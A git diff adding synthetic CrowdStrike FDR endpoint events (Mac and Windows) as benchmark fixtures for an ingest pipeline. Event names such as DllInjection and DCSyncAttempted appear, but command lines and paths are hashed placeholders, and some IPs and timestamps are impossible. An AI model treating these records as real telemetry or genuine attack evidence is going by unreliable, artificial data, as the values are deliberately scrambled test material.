+{"event_simpleName":"FirewallEnabled","ContextTimeStamp":"1746962753.829","ConfigStateHash":"859328400","ContextProcessId":"900268078000780315","aip":"81.2.69.144","ConfigBuild":"2c8b.4.daf5d9d.4f","event_platform":"Mac","Entitlements":"46","name":"07198adb48f191c84a38","EventOrigin":"45","id":"b6c44348e6ee1e39992118be1c7150fa6a2e","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"445","RemoteAddressMaskIP4":"7807212067","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","EventOrigin":"45","LocalAddressMaskIP4":"5452380700","id":"806ac88ec376c30a3ad5d58a509223d6a681","Protocol":"0","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"216.160.83.56","event_simpleName":"FirewallSetRuleIP4","ContextTimeStamp":"1747090146.428","ConfigStateHash":"95043379","ContextProcessId":"160345220009000222","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"66","name":"dc265f862d44e408c3e76cd","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","RemoteAddressIP4":"81.2.69.144","ConnectionDirection":"1","cid":"4092825518eaf67377a6e4492ae44577"} +{"RemoteAddressIP6":"2a02:cf40::1","FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"3d0df","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","RemoteAddressMaskIP6":"374708fff7719dd5","LocalAddressMaskIP6":"0e83fa75cca53fdf","EventOrigin":"45","id":"642c09f791082b5d83a09c110880c78938cf","Protocol":"62","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"FirewallSetRuleIP6","LocalAddressIP6":"2a02:cf40::1","ContextTimeStamp":"1749801051.624","IcmpCode":"1","ConfigStateHash":"15043379","ContextProcessId":"160345220009000222","IcmpType":"990","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"76","name":"e1d442f5c46bbf234569aea","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"KextLoad","ContextTimeStamp":"1762198394.892","ConfigStateHash":"15043379","ContextProcessId":"472050110452005020","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","BundleID":"a225ed06f58fec3fe735872464c","Entitlements":"86","name":"3304452f50b3f","EventOrigin":"1","id":"5f985f71b43f37edc3c06b1c67f8acf263c1","EffectiveTransmissionClass":"2","aid":"c93c143eed37653b54c326dd22e114b8","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"OutOctets":"3000000600","CreationTimeStamp":"-11724671741.249","aip":"81.2.69.192","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"445","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","EventOrigin":"1","id":"f0d3d878ef1a02ab86680075a0eda18b56e9","PhysicalAddressLength":"6","InUcastPkts":"80890102","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"55043379","PhysicalAddress":"b9-55-b4-6e-3e-c8","PrefixLength":"52","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"46360000","InMulticastPkts":"36300760","ConfigBuild":"2c8b.4.b224e8a.4f","InOctets":"5401980300","NetLuidIndex":"0","Entitlements":"76","name":"1b1a40a16643c4d9d9ad13","aid":"3bec845649acaaa1eb41d1ad4a804a38","cid":"4092825518eaf67377a6e4492ae44577"} +{"LocalAddressIP4":"216.160.83.56","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"65043379","aip":"81.2.69.142","InterfaceIndex":"8","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"86","name":"4a33a844314cf727f26cb81df45b9","EventOrigin":"1","id":"a885c0aff4e59afa62b4cfc45dd233f79546","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"3bec845649acaaa1eb41d1ad4a804a38","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextBaseFileName":"9a93b1357a69e905c9a","FileCategory":"6","MachOSubType":"6","Size":"3000605","ContextThreadId":"0","aip":"89.160.20.112","BoundingLimitCount":"10","FileIdentifier":"a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9","event_platform":"Mac","EventOrigin":"1","id":"1a8f053397e4f0d36a740347ced0ee4eaad4","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"MachOFileWritten","ContextTimeStamp":"1749108669.141","UserName":"4813","ConfigStateHash":"25043379","ContextProcessId":"704802000705084000","SHA256HashData":"2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63","ConfigBuild":"2c8b.4.b224e8a.4f","IsOnRemovableDisk":"0","BoundingLimitDuration":"4486640","Entitlements":"26","name":"1148999d786555f3e786e","aid":"9ea510e4d87c4988253c7355515a7081","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2"} +{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"75043379","Timeout":"284","ParentProcessId":"0","aip":"81.2.69.142","SuppressType":"2","SHA256HashData":"b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d","ProcessCount":"5","BoundedCount":"4","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"60","event_platform":"Mac","CommandLine":"fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd","Entitlements":"16","name":"53731de338efc268aed79822","EventOrigin":"45","id":"9b9091551ef260bfbe2fcbaa991fd216578d","EffectiveTransmissionClass":"2","aid":"aff97f8b915352339afe79c5a16d76b3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"PtyCreated","ContextTimeStamp":"1748620809.371","ConfigStateHash":"85043379","ContextProcessId":"601020521600005482","DeviceId":"506006027","ContextThreadId":"0","aip":"89.160.20.112","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","CommandLine":"8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660","ImageFileName":"/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a","Entitlements":"96","name":"a3f9634e8f5cb2a","EventOrigin":"1","id":"1653ccad055c131c79fb49ce013cfa05fde1","EffectiveTransmissionClass":"2","aid":"0883f49bee1d86ce81176e6d89766adc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"LocalAddressIP4":"81.2.69.144","event_simpleName":"RawBindIP4","ContextTimeStamp":"1759703286.546","ConfigStateHash":"55043379","ConnectionFlags":"0","ContextProcessId":"148005106018043800","RemotePort":"260","aip":"2a02:cf40::2","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"260","Entitlements":"86","name":"2552bb1c58ae3899","EventOrigin":"1","id":"c842b689fbd78207d195d8c17e3a04a000f6","Protocol":"45","EffectiveTransmissionClass":"3","aid":"6de60f31dcfac7d0eac699802285aa4c","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1760875204.560","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"75043379","ConnectionFlags":"0","ContextProcessId":"525000013203000905","RemotePort":"60285","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"28","Entitlements":"26","name":"6be29847ad234f89","EventOrigin":"1","id":"2d87ac61a22522847bc2143b50b4aac12858","Protocol":"45","EffectiveTransmissionClass":"3","aid":"bfae1ce346c864e642355116756472d6","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ScriptControlScanInfo","ScriptContent":"77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c","ConfigStateHash":"600000970","OriginalContentLength":"100","ContextProcessId":"516365064008244070","aip":"89.160.20.128","ContentSHA256HashData":"9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","ScriptContentName":"/51a/89","Entitlements":"56","name":"0a1beccbcea40ac2468a3ee78b","EventOrigin":"1","id":"18d9d6cd7e98ee9ab79dffed0e5f9e3357b0","EffectiveTransmissionClass":"2","aid":"c7fe43754f5b6ebfa566ef25e9ac6ecc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"ContextBaseFileName":"d66187f4b1779e","event_simpleName":"TarFileWritten","ContextTimeStamp":"1753030307.865","UserName":"2e31bb4e4604be73a","FileCategory":"1","ConfigStateHash":"35043379","ContextProcessId":"140060400067209000","Size":"534039","ContextThreadId":"0","aip":"2a02:cf40::2","FileIdentifier":"3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"e7ebdc66589c6ae4b87","EventOrigin":"1","id":"f6d443ab644ffa64617a90936d6da555f0a2","EffectiveTransmissionClass":"2","aid":"3e32d11b9db211e438bf9141dbc31d85","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5"} +{"ContextBaseFileName":"6f79cfc3feaa775","event_simpleName":"XarFileWritten","ContextTimeStamp":"1757404834.724","UserName":"f27ee237062cfd9","FileCategory":"1","ConfigStateHash":"95043379","ContextProcessId":"403000009094400601","Size":"1000870","ContextThreadId":"0","aip":"81.2.69.144","FileIdentifier":"0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"708df495f98345bf516","EventOrigin":"1","id":"2633213df12f91013279bef1b12ce10d2c67","EffectiveTransmissionClass":"2","aid":"b1e14abeaf9680c3f0b9be1f18550235","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log new file mode 100644 index 0000000000..5e2379c0d8 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log @@ -0,0 +1,121 @@ +{"event_simpleName":"AsepKeyUpdate","ContextTimeStamp":"1755155954.441","AsepFlags":"3","ConfigStateHash":"4001039063","ContextProcessId":"3007920321347","AsepClass":"7","AsepIndex":"5","ContextThreadId":"416006001900040","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c","RegOperationType":"5","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","AsepValueType":"0","TokenType":"1","Entitlements":"66","name":"d86b419894d5423","EventOrigin":"1","id":"6b69e784610ff3e5da99cb6f884fbb59c197","EffectiveTransmissionClass":"3","aid":"061f50de227f377d5a1cbbcda2493711","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"AsepFlags":"0","ContextThreadId":"970373501024004","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b","Data1":"31","RegOperationType":"1","event_platform":"Win","TokenType":"1","TargetCommandLineParameters":"8 -c07e1208b8efbe","EventOrigin":"1","id":"1165d56b44df464d4a3dd26905c78ac2c7e5","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe","timestamp":"1743508799999","event_simpleName":"AsepValueUpdate","ContextTimeStamp":"1756280738.081","ConfigStateHash":"204061009","RegType":"1","ContextProcessId":"47593002510450","AsepClass":"94","AsepIndex":"600","AuthenticationId":"7054705","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"","AsepValueType":"0","TargetSHA256HashData":"36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906","Entitlements":"96","name":"8f3c176fdab74b6c9","aid":"f929742c2e4bd22b1829b6206b1dc84b","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471\\94554fd8.exe"} +{"ContextThreadId":"615659447400000","aip":"81.2.69.142","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"3c1edad779c6920ba025d32fc1d69997cc40","RpcClientProcessId":"4508060034060","id":"eedef0c0fc042e28949c251e42e913cb3fe6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BITSJobCreated","ContextTimeStamp":"1749668048.903","UserName":"d38b4ca4","ConfigStateHash":"9968901000","ContextProcessId":"3100000500830","InterfaceVersion":"0","RpcClientThreadId":"207001810400038","AuthenticationId":"70760008","ConfigBuild":"2c8b.4.ae3729d.e6","RpcOpNum":"4","Entitlements":"76","name":"11cf958b636de07e","aid":"082e3fde13bab854ebe72df7d1543cae","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1\\7c2816f5.crx3"} +{"ThreadStartAddress":"800560009080720","InjectedThreadFlag":"2","ContextThreadId":"500030143990970","aip":"89.160.20.128","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"f6f3399ea7912626def5330fbc430ff02ac2","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BrowserInjectedThread","TargetThreadId":"104623560606010","RawProcessId":"76850","ContextTimeStamp":"1757533928.090","ConfigStateHash":"50820000","ContextProcessId":"1107334096070","ThreadStartContext":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"7011710205985","Entitlements":"76","name":"126bc261e48aa7159043700","RawThreadId":"20602","aid":"1b044c25005f7f866e92ee245376c69e","SourceThreadStartAddress":"380906022020800","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"CommandHistory","CommandHistory":"41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa","FirstCommand":"0","CommandCountMax":"983","ApplicationName":"7371f07","ConfigStateHash":"7040662006","LastDisplayed":"0","aip":"81.2.69.192","LastAdded":"2","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"3502200260267","Entitlements":"96","name":"b42a7420dfe70b77","EventOrigin":"1","id":"7f67dc98da59af9b207392dd643b6696521d","CommandCount":"3","EffectiveTransmissionClass":"3","aid":"985fa1e64b797b6a5e673a83fdc68828","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"RemoteAddressIP6":"2a02:cf40::2","ObjectNameEtw":"4355e623406251da1e189448d464d6e80e14d22","aip":"81.2.69.144","UserSid":"S-25368-38230-13235","event_platform":"Win","ObjectTypeEtw":"4355e623406251da1e189448d464d6e80e14d22","ClientComputerName":"-","EventOrigin":"45","id":"027ea26f253aa77e2fcf588772b9d2d6f37c","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DCSyncAttempted","ContextTimeStamp":"1749398112.834","UserName":"1611e7b","ConfigStateHash":"3400520000","EtwRawProcessId":"835","ContextProcessId":"7067360709400","SubjectDomainNameEtw":"61","AuthenticationId":"6420000067","ServiceAccessPropertiesEtw":"f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9","ConfigBuild":"2c8b.4.ae3729d.e6","Entitlements":"46","name":"68a40a05895ff9a35","aid":"350ffb0329569649f8bac872d658cbfc","cid":"4092825518eaf67377a6e4492ae44577"} +{"aip":"216.160.83.56","BoundingLimitCount":"1","UserSid":"S-86813-72426-80065-35729-11846-72517-75085","AllowlistingFilterId":"a3ea8710853f4e1e7","event_platform":"Win","PatternId":"607","EventOrigin":"5","ContextData":"","id":"01a0844d7700635d462669bbadb475d7dcf1","EventCorrelationId":"07103f94d0545ee24951b8c8ce76a5023743","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DetectionExcluded","ContextTimeStamp":"1758023898.952","ConfigStateHash":"4080600092","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"82\\ab7e5c1\\d24e5507\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","TargetProcessId":"6010945098000","BoundingLimitDuration":"3486640","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\d24e5507\\7d7f62b.exe","ExclusionType":"1","Entitlements":"56","name":"b7f0eea0ced34df529cc","ExclusionSource":"5","aid":"016ef640d4add7c7c7e72a5bfc4198c0","cid":"4092825518eaf67377a6e4492ae44577"} +{"Options":"53790000","ContextThreadId":"32005063951800","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"28476710775acf368038686c22c97be5f159b0efaeb459a6","Information":"2","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"245b89777adfd68f4020de1758e56c4467f6","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"274","timestamp":"1743508799999","Status":"0","event_simpleName":"DirectoryCreate","ContextTimeStamp":"1759459284.824","ConfigStateHash":"710307050","ContextProcessId":"7173090406564","IrpFlags":"2500","HandleCreateAuthenticationId":"4000900","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5065411","Entitlements":"66","name":"b44ad77e88405a082","OperationFlags":"0","aid":"cd2ef6603266196efe9f1ac402a1586a","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32\\664edf91"} +{"event_simpleName":"DllInjection","TargetThreadId":"505479000700240","RawProcessId":"7310","ThreadStartAddress":"947500501770690","InjectedThreadFlag":"530","ContextTimeStamp":"1758159328.572","ConfigStateHash":"540271348","ContextProcessId":"3006607000981","ContextThreadId":"140004900194068","aip":"81.2.69.192","ThreadStartContext":"9177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"3000303437040","Entitlements":"96","name":"8b6eec62b5f5f7","EventOrigin":"1","RawThreadId":"5008","id":"92855d0df8f2251c1dfe0bd7d56a97128a25","EffectiveTransmissionClass":"3","aid":"8fb3daf730de8e73c353f0c4137a51b5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","InjectedDll":"82\\9134161b\\f3acb4df\\a89bcae.dll"} +{"FileOperatorSid":"S-13859-13680-73630","ContextBaseFileName":"77b1704b6a85","FileCategory":"9","Size":"50050070","ContextThreadId":"600003001070039","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\c23eadb9","id":"b44b58becebd48898306ffd6600bf3f42c16","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DmpFileWritten","ContextTimeStamp":"1746804138.874","ConfigStateHash":"450007109","ContextProcessId":"60860076031000","IrpFlags":"0","AuthenticationId":"864","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"16","name":"bf62ca8a93b1c6730","OperationFlags":"0","aid":"61f77498beebf89847bcda33f8541689","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3\\50f6b654.dmp"} +{"ContextBaseFileName":"c43bc2658","DnsResponseType":"2","IP4Records":"14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;","ContextThreadId":"908409701000008","aip":"81.2.69.142","CNAMERecords":"0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823","QueryStatus":"0","InterfaceIndex":"0","event_platform":"Win","DualRequest":"1","EventOrigin":"1","id":"77a6567f5ba2f4450eb816e24c5b0258f4b5","EffectiveTransmissionClass":"3","FirstIP4Record":"216.160.83.56","timestamp":"1743508799999","event_simpleName":"DnsRequest","ContextTimeStamp":"1748744822.996","ConfigStateHash":"1263130834","ContextProcessId":"5002051210496","DomainName":"2ca55df2a79d27d771dacfc7ae97","RespondingDnsServer":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","DnsRequestCount":"1","Entitlements":"56","name":"76e889534419","aid":"98148f3ab8db6d0cad5ad44fc9f4f5c7","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"} +{"ThreadStartAddress":"90100003090313109007","InjectedThreadFlag":"85","ContextThreadId":"100705003833870","aip":"81.2.69.142","event_platform":"Win","UserThread":"0","EventOrigin":"1","id":"14a56745976c34e322ccc9af234e692acf35","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DocumentProgramInjectedThread","TargetThreadId":"209175000090105","RawProcessId":"90010","ContextTimeStamp":"1762971058.579","ConfigStateHash":"2080025170","ContextProcessId":"7202603200007","ThreadStartContext":"60307800056300500065","ConfigBuild":"2c8b.4.bab7095.e6","TargetProcessId":"7602000306800","Entitlements":"96","name":"107f10bd7e2cf68ce87171d8f974b76","RawThreadId":"53040","aid":"73204dfc79175de6cc76f2ae7674dc76","SourceThreadStartAddress":"970004800500552","cid":"4092825518eaf67377a6e4492ae44577"} +{"AuthenticodeHashDataSHA256":"1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f","ContextThreadId":"85060031003208","aip":"81.2.69.142","CompanyName":"5951da04edaa9198b1b04","event_platform":"Win","OriginalFilename":"c11d9e9772e","FileVersion":"359b2589a3456ff7703750b83f34717d70893f","ImageCheckSum":"30890","EventOrigin":"45","id":"8f8e5d48a0828ec900552833b592f6bf3137","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DriverLoad","ContextTimeStamp":"1750118563.660","ConfigStateHash":"4001039063","ContextProcessId":"917013009605","DriverLoadFlags":"0","ImageEntryPoint":"60900","MD5HashData":"7d60d20014499abbe980e8a3e9d3e480","SHA256HashData":"eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a","ConfigBuild":"2c8b.4.ae3729d.e6","FixedFileVersion":"4a.5.36b21.78c5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\2080358.sys","ImageTimeStamp":"7506201701","Entitlements":"96","name":"971d60ec4961","aid":"eb87d6ed52531c4d56701eb0f3bdef5d","cid":"4092825518eaf67377a6e4492ae44577"} +{"FileOperatorSid":"S-12089-81901-75723-71071-93418-35753-29602","ContextBaseFileName":"4e526e33d5","FileCategory":"4","Size":"100488","ContextThreadId":"118504067206871","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"1","FileIdentifier":"78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"1a93966150b37eeb4506fb5d576569366fbe","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DwgFileWritten","ContextTimeStamp":"1763142957.475","ConfigStateHash":"2080025170","ContextProcessId":"5924007850208","IrpFlags":"0","AuthenticationId":"8650000","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"73a9d655524e1b4a5","OperationFlags":"0","aid":"8a519558e0f7e42814948bf046b8e5c8","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39\\bbac47ce.tmp"} +{"ExitCode":"0","ParentProcessId":"2000300900003","ContextThreadId":"632014600074400","aip":"216.160.83.56","ConHostId":"6810","UserSid":"S-78552-69545-47377","CycleTime":"380603073","event_platform":"Win","ConHostProcessId":"2000300900003","MaxThreadCount":"7","EventOrigin":"45","ImageSubsystem":"2","id":"f3b8bd9b2757d9904f845a44ff61827fa755","EffectiveTransmissionClass":"3","timestamp":"1743508799999","KernelTime":"0","UserTime":"0","event_simpleName":"EndOfProcess","RawProcessId":"42084","ContextTimeStamp":"1758502938.869","ConfigStateHash":"710307050","ContextProcessId":"5040620588024","SHA256HashData":"f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"8040620588024","Entitlements":"46","name":"e8d15f653d9c08b","ProcessStartTime":"1745927326.269","aid":"3b473364ed16d25221bdb0b435aac52a","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1754418925.502","ConfigStateHash":"710307050","ContextProcessId":"9001004100012","IrpFlags":"1730","ContextThreadId":"560346007270302","MinorFunction":"0","aip":"216.160.83.56","FileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","MajorFunction":"40","Entitlements":"96","name":"a1721c8914da805eb47","EventOrigin":"1","OperationFlags":"0","id":"b43f550a47cfaab7904ddcd4c778b2d7d2e1","FileObject":"0","EffectiveTransmissionClass":"3","aid":"39074f37291ca6f2d189c1e110e04dfc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"} +{"event_simpleName":"FileDeleteInfo","ContextTimeStamp":"1758466867.856","ConfigStateHash":"3440491101","ContextProcessId":"920132208508","ContextThreadId":"549000000070475","aip":"81.2.69.192","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"400800208204","Entitlements":"56","name":"e1326813e53e44b4","EventOrigin":"3","id":"f17c8a57d6ffa5f985caf45f729cb254772a","EffectiveTransmissionClass":"3","aid":"e1a82faad25f1bc57da5f8b7457d9014","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\9134161b\\b169fe25\\44ca.TMP"} +{"Status":"0","event_simpleName":"FileOpenInfo","ContextTimeStamp":"1762335422.843","ConfigStateHash":"9250777000","ContextProcessId":"9011580900835","ContextThreadId":"920000001740500","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","ShareAccess":"7","DesiredAccess":"5040660","TreeId":"250760900008","Entitlements":"26","name":"c4a834c02a00fb","EventOrigin":"3","id":"46a19a602437699cf4aefb060e91441ba891","EffectiveTransmissionClass":"3","aid":"ea08505420aa828a0a52a6eed3c8a196","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"} 